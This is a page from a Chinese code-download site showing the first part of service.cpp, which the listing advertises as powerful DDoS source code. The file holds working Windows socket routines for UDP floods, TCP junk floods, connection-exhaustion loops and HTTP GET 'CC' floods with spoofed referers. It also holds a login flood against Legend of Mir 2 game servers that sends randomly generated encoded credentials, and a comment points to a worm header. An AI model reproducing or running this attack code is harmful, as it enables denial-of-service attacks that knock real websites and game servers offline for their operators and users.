⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 service.cpp

📁 一款效果非常不错的DDOS源码。很强大的说
💻 CPP
📖 第 1 页 / 共 4 页
字号:
	WSAStartup(MAKEWORD(2,2) ,&WSAData);
	SOCKADDR_IN sockAddr;
	SOCKET	m_hSocket;
	int nSent;
	int nSize = strlen(icmpBuffer);
	
	m_hSocket =socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	memset(&sockAddr,0,sizeof(sockAddr));
	sockAddr.sin_family = AF_INET;
	sockAddr.sin_port=htons(fuckweb.FuckPort);
	sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP); 
	
	while(!stopfuck)
	{
		nSent =sendto(m_hSocket, icmpBuffer, nSize, 0, (LPSOCKADDR)&sockAddr, sizeof(sockAddr));
		if(nSent == SOCKET_ERROR)
			break;
		Sleep(40);
	}

	return 1;
}
unsigned long  CALLBACK Pjam_attack(LPVOID dParam)
{
	WSADATA wsadata;
	WSAStartup(MAKEWORD(2,0), &wsadata);
	SOCKADDR_IN sockAddr;
	SOCKET	m_hSocket;

	memset(&sockAddr,0,sizeof(sockAddr));
	sockAddr.sin_family = AF_INET;
	sockAddr.sin_port=htons(fuckweb.FuckPort);
	sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP); 
	
	m_hSocket= socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
	connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)); // connect in udp?
		
	while(!stopfuck)
	{
		send(m_hSocket,"fuckwebfuckwebfuckwebfuckwebfuckwebfuckwebfuckweb",50,0);
		Sleep(40);
	}
	return 1;
}
/************************TCP ATTACK***********************************/
unsigned long  CALLBACK TCP_flood(LPVOID dParam)
{
	WSADATA               WSAData;
	WSAStartup(MAKEWORD(2,2) ,&WSAData);
	SOCKADDR_IN sockAddr;
	SOCKET	m_hSocket;
	int nSent,firstrun;;
	char senddata1[152],senddata2[128];
	char abc[]="abcdefghijklmnopqrstuvwxyz@$%^&*<>?/|}{+-=";
	
	memset(&sockAddr,0,sizeof(sockAddr));
	sockAddr.sin_family = AF_INET;
	sockAddr.sin_port=htons(fuckweb.FuckPort);
	sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP); 

	while(!stopfuck)
	{	
		m_hSocket = socket(PF_INET,SOCK_STREAM,0);
		
		if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr))==SOCKET_ERROR)
		{
			closesocket(m_hSocket);
			return 1;
		}
		
		for(int a=0;a<65000;a++)
		{
			memset(senddata1,0,152);
			memset(senddata2,0,128);
			do 
			{
				firstrun=SEU_Rand(120);/*SEU_Rand()在worm.h中定义了*/
			} while(firstrun<20);
			
			for(int i=0;i<firstrun;i++)
			{
				senddata2[i]=abc[SEU_Rand(42)];
			}
			sprintf( senddata1, "#%d<<<<<I@C<<<<<%s!",a%10, senddata2);
			nSent = send(m_hSocket,senddata1,strlen(senddata1),0);
			if(nSent == SOCKET_ERROR)
				break;
			Sleep(40);
		}
		closesocket(m_hSocket);
	}

	return 1;
}

unsigned long  CALLBACK connect_break(LPVOID dParam)
{
	WSADATA               WSAData;
	WSAStartup(MAKEWORD(2,2) ,&WSAData);
	SOCKADDR_IN sockAddr;
	SOCKET	m_hSocket;
	
	memset(&sockAddr,0,sizeof(sockAddr));
	sockAddr.sin_family = AF_INET;
	sockAddr.sin_port=htons(fuckweb.FuckPort);
	sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP); 
	while(!stopfuck)
	{
		m_hSocket = socket(PF_INET,SOCK_STREAM,0);
		
		connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr));
		Sleep(40);
		closesocket(m_hSocket);
	}
	return 1;
}

unsigned long  CALLBACK TCP_connect(LPVOID dParam)
{
	WSADATA               WSAData;
	WSAStartup(MAKEWORD(2,2) ,&WSAData);
	SOCKADDR_IN sockAddr;
	SOCKET	m_hSocket[200];

	for (int i=0;i<200;i++)
	{
		m_hSocket[i] = socket(PF_INET,SOCK_STREAM,0);	
		connect(m_hSocket[i],(SOCKADDR*)&sockAddr, sizeof(sockAddr));
		Sleep(10);
	}
	while(!stopfuck)
	{
		for (int i=0;i<200;i++)
		{
			closesocket(m_hSocket[i]);
		}
		Sleep(40);
	}
	return 1;
}
/***************************************************/
unsigned long  CALLBACK nocache_get(LPVOID dParam)
{
	char all[100],ip[32],port[6],url[32],*point=NULL;
	int httpport=80;
	strcpy(all,fuckweb.FuckIP);
	point=all;
	if(strstr(all,"http://")!=NULL)
	{
			point=point+strlen("http://");
	}
	if(strstr(point,":")!=NULL)
	{
		memset(ip,0,sizeof(ip));
		strncpy(ip,point,strcspn(point,":"));
		point=point+strcspn(point,":")+1;
		if(strstr(point,"/")!=NULL)
		{
			memset(port,0,sizeof(port));
			strncpy(port,point,strcspn(point,"/"));
			httpport=atoi(port);
			point=point+strcspn(point,"/");
			memset(url,0,sizeof(url));
			strcpy(url,point);
		}
	}
	else
	{
		if(strstr(point,"/")!=NULL)
		{
			memset(ip,0,sizeof(ip));
			strncpy(ip,point,strcspn(point,"/"));
			point=point+strcspn(point,"/");
			memset(url,0,sizeof(url));
			strcpy(url,point);
		}
	}

	while(!stopfuck)
	{
	    doHTTP(ip,
		       httpport,
		       "/*(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html",
		       "GET",
		       "Cache-Control: no-cache\r\nReferer: http://www.baidu.com\r\n",
		       "");
		Sleep(40);
	}
	return 0;
}
unsigned long  CALLBACK cc_attack(LPVOID dParam)
{
	char all[100],ip[32],port[6],url[32],*point=NULL;
	int httpport=80;
	strcpy(all,fuckweb.FuckIP);
	point=all;
	if(strstr(all,"http://")!=NULL)
	{
			point=point+strlen("http://");
	}
	if(strstr(point,":")!=NULL)
	{
		memset(ip,0,sizeof(ip));
		strncpy(ip,point,strcspn(point,":"));
		point=point+strcspn(point,":")+1;
		if(strstr(point,"/")!=NULL)
		{
			memset(port,0,sizeof(port));
			strncpy(port,point,strcspn(point,"/"));
			httpport=atoi(port);
			point=point+strcspn(point,"/");
			memset(url,0,sizeof(url));
			strcpy(url,point);
		}
	}
	else
	{
		if(strstr(point,"/")!=NULL)
		{
			memset(ip,0,sizeof(ip));
			strncpy(ip,point,strcspn(point,"/"));
			point=point+strcspn(point,"/");
			memset(url,0,sizeof(url));
			strcpy(url,point);
		}
	}

	if (strlen(url)<2)
	{
		strcpy(url,"^*%%RFTGYHJIRTG*(&^%DFG.asp");
	}
	while(!stopfuck)
	{
	    doHTTP(ip,
		       httpport,
		       url,
		       "GET",
		       "Cache-Control: no-cache\r\nReferer: http://www.baidu.com\r\n",
		       "");
		Sleep(40);
	}
	return 0;
}
unsigned long  CALLBACK null_get(LPVOID dParam)
{
	char all[100],ip[32],port[6],url[32],*point=NULL;
	int httpport=80;
	strcpy(all,fuckweb.FuckIP);
	point=all;
	if(strstr(all,"http://")!=NULL)
	{
			point=point+strlen("http://");
	}
	if(strstr(point,":")!=NULL)
	{
		memset(ip,0,sizeof(ip));
		strncpy(ip,point,strcspn(point,":"));
		point=point+strcspn(point,":")+1;
		if(strstr(point,"/")!=NULL)
		{
			memset(port,0,sizeof(port));
			strncpy(port,point,strcspn(point,"/"));
			httpport=atoi(port);
			point=point+strcspn(point,"/");
			memset(url,0,sizeof(url));
			strcpy(url,point);
		}
	}
	else
	{
		if(strstr(point,"/")!=NULL)
		{
			memset(ip,0,sizeof(ip));
			strncpy(ip,point,strcspn(point,"/"));
			point=point+strcspn(point,"/");
			memset(url,0,sizeof(url));
			strcpy(url,point);
		}
	}

	while(!stopfuck)
	{
	    doHTTP(ip,
		       httpport,
		       "",
		       "GET",
		       "Cache-Control: no-cache\r\nReferer: http://www.google.com\r\n",
		       "");
		Sleep(40);
	}
	return 0;
}

///////////////////////////////////////////////////////////
//***********************ATTACK**********************************
int Mir2EnCode(BYTE *pInBuff,DWORD dwInLen,BYTE *pOut,DWORD dwOutLen)
{ 
    DWORD var_20 = 0; 
    BYTE  var_1B = 0; 
    BYTE  var_1A = 0; 
    BYTE  var_19 = 0; 
    DWORD var_18 = 0; 
    DWORD var_14 = 0; 
    DWORD var_10 = 0; 
    DWORD var_C = 0; 
    DWORD var_8 = 0; 
    DWORD var_4 = 0;  
    BYTE bAL = 0; 
    BYTE bCL = 0; 
    DWORD dwEAX; 
    DWORD dwEDX; 
    DWORD dwECX;  
    var_20 = dwInLen ; 
    while(var_20 >0) 
    {  
        dwEDX = var_10 ;  
        bAL = pInBuff[dwEDX];  
        var_1A = bAL ;  
        dwECX = var_14 ;  
        dwECX = dwECX +2;  
        bAL = var_1A;  
        dwEAX = bAL ;  
        dwEAX = dwEAX >> dwECX ;  
        bAL = dwEAX ;  
        bAL = bAL | var_1B;   
        bAL = bAL & 0x3F;  
        var_19 = bAL;    
        dwEAX = var_14 ;  
        dwEAX = dwEAX +2;  
        dwECX = 8;  
        dwECX = dwECX - dwEAX ;  
        bAL = var_1A;  
        dwEAX = bAL ;  
        dwEAX = dwEAX << dwECX ;  
        dwEAX = dwEAX >> 2;  
        bAL = dwEAX ;  
        bAL = bAL & 0x3F ;  
        var_1B = bAL ;  
        var_14 = var_14 +2;  
        if(var_14<6)  
        {   
            dwEDX = var_18;   
            bCL = var_19;   
            bCL = bCL + 0x3C ;   
            pOut[dwEDX] = bCL ;   
            var_18 = var_18 +1;  
        }  
        else  
        {   
            dwEDX = var_18;   
            bCL = var_19;   
            bCL = bCL + 0x3C ;   
            pOut[dwEDX] = bCL ;   
            dwEDX = var_18 ;   
            bCL = var_1B ;   
            bCL = bCL + 0x3C;   
            pOut[dwEDX+1] = bCL ;   
            var_18 = var_18 + 2;   
            dwEAX =  0;   
            var_14 = 0;   
            var_1B = 0;  
        }  
        var_10 = var_10 +1;  
        var_20 = var_20 -1; 
    }  
    if(var_14 > 0) 
    {  
        dwEDX = var_18;  
        bCL = var_1B;  
        bCL = bCL + 0x3C ; 
        pOut[dwEDX] = bCL ;  
        var_18 = var_18 +1; 
    } 
    dwOutLen = var_18; 
    pOut[var_18]=0;
    return 1;
}

typedef struct
{
	union
	{
		DWORD dwFlag;
		struct
		{
			WORD wa;
			WORD wb;
		};
	};
	
	WORD wCmd;
	WORD w1;
	WORD w2;
	WORD w3;
	char data[1024];
}MMSG;

const char table[]="0123456789abcdefghijklmnopqrstuvwxyz";

unsigned long  CALLBACK Login_Attack(LPVOID dParam)
{
	WSADATA               WSAData;
	WSAStartup(MAKEWORD(2,2) ,&WSAData);
	SOCKADDR_IN sockAddr;
	SOCKET	m_hSocket;
	m_hSocket = socket(PF_INET,SOCK_STREAM,0);
	memset(&sockAddr,0,sizeof(sockAddr));
	sockAddr.sin_family = AF_INET;
	sockAddr.sin_port=htons(fuckweb.FuckPort);
	sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP); 

	MMSG *pmsg;
    pmsg=(MMSG*)malloc(sizeof(MMSG));
    memset(pmsg,0,sizeof(MMSG));
	pmsg->wCmd=0x07d1;

	int nSize,RandSize;
	char name[22],pass[10],tempdata[128],Senddata[128];
	memset(name,0,22);
	memset(pass,0,10);
	memset(tempdata,0,128);
	memset(Senddata,0,128);

	while(!stopfuck)
	{	
		do 
		{
			RandSize=SEU_Rand(20);
		} while(RandSize<5);
		for(int i=0;i<RandSize;i++)
		{
			name[i]=table[SEU_Rand(36)];
		}
		for(i=0;i<9;i++)
		{
			pass[i]=table[SEU_Rand(36)];
		}
		sprintf(pmsg->data,"%s/%s",name,pass);
		RandSize = strlen(pmsg->data) +12;
		Mir2EnCode((BYTE *)pmsg,RandSize,(BYTE *)tempdata,nSize);
		sprintf(Senddata,"#0%s!",tempdata);
		if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0)
		{
			closesocket(m_hSocket);
			continue;
		}
		if(SOCKET_ERROR==send(m_hSocket,Senddata,strlen(Senddata),0))
			continue;

		recv(m_hSocket,tempdata,128,0);
		closesocket(m_hSocket);
	}

	return 1;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -